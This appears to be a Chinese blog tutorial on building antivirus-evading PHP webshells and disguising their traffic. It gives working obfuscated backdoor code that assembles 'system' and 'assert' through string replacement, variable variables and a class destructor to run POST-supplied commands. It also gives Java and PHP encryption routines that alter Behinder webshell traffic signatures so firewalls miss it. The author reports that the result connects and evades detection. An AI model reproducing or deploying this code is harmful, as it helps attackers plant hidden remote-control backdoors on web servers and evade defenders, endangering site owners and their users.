既然在对C2的免杀思路及操作上都有了一定认知,那么咱们的Webshell怎么能落下呢?
学习项目地址:https://github.com/AabyssZG/WebShell-Bypass-Guide
里面涵盖了很多免杀操作及思路,学了包能免杀的宝宝!
防御
为什么要提到防御?因为Webshell和C2有一项显著特征不一样的是,Webshell需要攻击者主动去连接他,那要是网站上部署了防火墙,它拦不拦你?我问你?Looking my eyes!回答我!那就算是免杀的后门上传上去有幸没被杀软干掉,你连不上去是不是在白忙活?
所以咱们不仅要考虑后门还得看流量特征,瞻前顾后的,麻烦死。还有就是,沙箱会对Webshell进行代码分析,如果是单纯的exe直接就给你出结果了,咱们不仅要恶心杀软,还要把代码伪装,让防御者分析不出来是在干嘛,这才是合格标准哦
免杀
字符串替换
首先在项目文件中找到自己比较感兴趣的内容,我看到这个字符串替换就有种似曾相识的感觉。。。当然此脚本很明显,主要目的是为了绕过哪些高危函数的调用(system()、assert()、shell_exec()等)
注:eval()在php里不是函数,他只能以明文的形式调用,不像下面的system还可以通过变量来表示

那咱们就先写一个拼接system的代码。array可以支持不匹配字符长度替换,接着调用strtr函数一路替换掉$string里面的内容,最后strrev函数翻转一下得到system
<?php
$string= "xiuqiudejibao";
$xiu = array("bao" => "s");
$all = strtr($string, $xiu);
$qiu = array("xiu" => "me");
$all1 = strtr($all, $qiu);
$de = array("ji" => "y");
$all2 = strtr($all1,$de);
$ji = array("de" => "s");
$all3 = strtr($all2,$ji);
$bao = array("qiu" => "t");
$all4 = strtr($all3,$bao);
$reversedAll4 = strrev($all4);
echo $reversedAll4;
?>

成功拼接system后,考虑还需要接收到参数才能执行命令,就得通过POST或GET传递
$icant = strtr('$_UQMN[X',"qr1UQMN","al(POST");
$icant .='bdjq]';
echo $icant;

咱们就借用字符串替换的知识成功构造出想要的内容了,接着把它尝试拼接上,当然不能单纯只使用这一点啰,既然是混淆混淆,那得先混起来
可变变量
比我聪明的相信都看懂了,双写$$可以做到$$f=$hello的操作,那咱们试着模仿它,变出需要的内容

前两句用到了字符串拼接
$sayHello = 'good';
$sayHello .='1';
$$sayHello = $icant;
echo $good1;

数组
代码从后往前看,需要确定$f,对应找到$result数组的$zhixin,$zhixin是没变之前的$z,等于system

模仿着这上面写,基本上一样,除了倒数第二行,主要目的是为了将$good1由字符串类型转为能接收参数的$_POST类型。system($_POST(a)),括号里面的内容代表能接收变量a的POST请求,如果这样写$good1='$_POST(a)'; $s3='system'; $s3($good1);表示的是system('$_POST(a)'),会报错
$s1 = $reversedAll4;
$s2 = &$s1;
$accident = 'hello';
$result = compact("accident", "s2");
$s1 = 'woxihuanni';
$s3 = $result['s2'];
eval('$good1 = ' . $good1 . ';');
$s3($good1);

半总结
整理以上全部代码,启个环境测试,看到可以执行命令

哎呀有的朋友要说,不要这个执行命令的,我要能直接连上Webshell的版本,这不接着来嘛
反序列化
忽然想起来之前有学过反序列化方面的知识,在创建对象时会调用_ _construct()方法,销毁时会触发_ _destruct()方法,以下就是。创建对象指向$_1,$_1由字符‘a’表示,那么‘a’被修改为POST请求,然后代码执行完毕触发销毁,system调用执行。

把刚写的代码镶嵌进去,他这里只提到了销毁,咱们还可以重写一个创建,这样一个负责执行命令一个负责连接Webshell,多好哦
这下就修改了_ _destruct()函数,用数组存储字符拼接成assert,然后在类外定义传递而来的yes参数,也就是在类外控制$try的内容,整合上面的知识写出来,很简单吧
<?php
class Test {
public $try = 'yes'; // 定义类属性 $_1 并赋值为 'a'
function __destruct() {
$shuzu = ['X','s', 'B', 'a', 'r', 'D', 'e', 'Q', 't' ,'v'];
$i = $shuzu[8] . $shuzu[4] . $shuzu[6] . $shuzu[1] . $shuzu[1] . $shuzu[3];
$reverse = strrev($i);
$reverse($this->yes); // 析构时执行 $this->a 中的命令
}
function __construct() {
$string= "xiuqiudejibao";
$xiu = array("bao" => "s");
$all = strtr($string, $xiu);
$qiu = array("xiu" => "me");
$all1 = strtr($all, $qiu);
$de = array("ji" => "y");
$all2 = strtr($all1,$de);
$ji = array("de" => "s");
$all3 = strtr($all2,$ji);
$bao = array("qiu" => "t");
$all4 = strtr($all3,$bao);
$reversedAll4 = strrev($all4);
$icant = strtr('$_UQMN[X',"qr1UQMN","al(POST");
$icant .='bdjq]';
$sayHello = 'good';
$sayHello .='1';
$$sayHello = $icant;
$s1 = $reversedAll4;
$s2 = &$s1;
$accident = 'hello';
$result = compact("accident", "s2");
$s1 = 'woxihuanni';
$s3 = $result['s2'];
eval('$good1 = ' . $good1 . ';');
$s3($good1);
}
}
$try1 = new Test;
$good1 = ']\'oabuix\'[TSOP_$';
$reverse = strrev($good1);
eval('$reverse = ' . $reverse . ';');
$try1->{$try1->try} = $reverse;
?>
正常上线(assert我测试的时候蚁剑和冰蝎不可以,哥斯拉可以连接上)大致上是因为通信上的差异

命令执行也没问题

测试免杀结果

流量
环境准备
和二开C2的时候差不多,咱们需要配置好反编译环境,详情可见https://yezifan.cn/?p=850
需要补充的是,咱们可以从网上下载反编译的结果https://www.decompiler.com/,将冰蝎的jar包上传上去就好

还有在工件中选择的主类是这个

基本上就一模一样了
特征
冰蝎的流量传递采用如图特征,值得注意的是,在本地加密固定的语言是jsp,如果咱们上传的webshell是php的后门,那么在远程解密的语言就是php,为了能正常通讯这俩必须使用一样的加解密方式

连接Webshell的过程中一共放了两个包,除开加密内容(应该和我们所选择的加密方式有关系)以外,他们的请求头基本上差不多,并且每隔几分钟,他会有一个探测存活的包,请求包的路径都是shell所在路径,存活包也一样



首先对请求头的内容修改,在项目中搜索数据包的关键词定位到文件


我只做出了如下简单修改

整个数据包最大的特征还是加密的内容,重心还得放这上面。最开始提到的,我们需要自己写一个加密方式来打乱数据包的特征,且要满足能够实现不同语言的相互加解密,它自带了某些加密方式,我就把这些加密方式拼接起来生成了xor_rot_aes加密方式的脚本


private byte[] Encrypt(byte[] data) throws Exception
{
String xorKey = "e45e329feb5d925b";
byte[] xorKeyBytes = xorKey.getBytes("UTF-8");
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ xorKeyBytes[i % 16]);
}
int rotN = 4;
for (int i = 0; i < data.length; i++) {
data[i] = (byte) ((data[i] + rotN) & 0xFF);
}
String key="e45e329feb5d925b";
byte[] raw = key.getBytes("utf-8");
javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
byte[] encrypted = cipher.doFinal(data);
Class baseCls;
try
{
baseCls=Class.forName("java.util.Base64");
Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
}
catch (Throwable error)
{
baseCls=Class.forName("sun.misc.BASE64Encoder");
Object Encoder=baseCls.newInstance();
String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
result=result.replace("\n", "").replace("\r", "");
encrypted=result.getBytes();
}
return encrypted;
}
private byte[] Decrypt(byte[] data) throws Exception
{
String k="e45e329feb5d925b";
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
}
byte[] q = c.doFinal(decodebs);
String xorKey = "e45e329feb5d925b";
byte[] xorKeyBytes = xorKey.getBytes("UTF-8");
int rotN = 4;
for (int i = 0; i < q.length; i++) {
q[i] = (byte) ((q[i] - rotN + 256) % 256);
}
for (int i = 0; i < q.length; i++) {
q[i] = (byte) (q[i] ^ xorKeyBytes[i % 16]);
}
return q;
}
还有远程的php版本

function Encrypt($data) {
$xorKey = "e45e329feb5d925b";
$xorKeyBytes = array_map('ord', str_split($xorKey));
$dataBytes = array_values(unpack('C*', $data));
foreach ($dataBytes as $i => $byte) {
$dataBytes[$i] = $byte ^ $xorKeyBytes[$i % 16];
}
foreach ($dataBytes as $i => $byte) {
$dataBytes[$i] = ($byte + 4) % 256;
}
$processedData = pack('C*', ...$dataBytes);
$key = "e45e329feb5d925b";
$ciphertext = openssl_encrypt(
$processedData,
'AES-128-ECB',
$key,
OPENSSL_RAW_DATA
);
return base64_encode($ciphertext);
}
function Decrypt($encryptedData) {
$encryptedData = base64_decode($encryptedData);
$key = "e45e329feb5d925b";
$processedData = openssl_decrypt(
$encryptedData,
'AES-128-ECB',
$key,
OPENSSL_RAW_DATA
);
$dataBytes = array_values(unpack('C*', $processedData));
foreach ($dataBytes as $i => $byte) {
$dataBytes[$i] = ($byte - 4 + 256) % 256; // 避免负数
}
$xorKey = "e45e329feb5d925b";
$xorKeyBytes = array_map('ord', str_split($xorKey));
foreach ($dataBytes as $i => $byte) {
$dataBytes[$i] = $byte ^ $xorKeyBytes[$i % 16];
}
return pack('C*', ...$dataBytes);
}
测试他们的是否能做到还原和加密数据的功能

那当然没问题

通过分享,将test.config文件添加进项目中重新构建生成对应jar包后抓包观察流量
首先是对ui界面的替换

还有数据包的流量特征明显不一样了


Comments NOTHING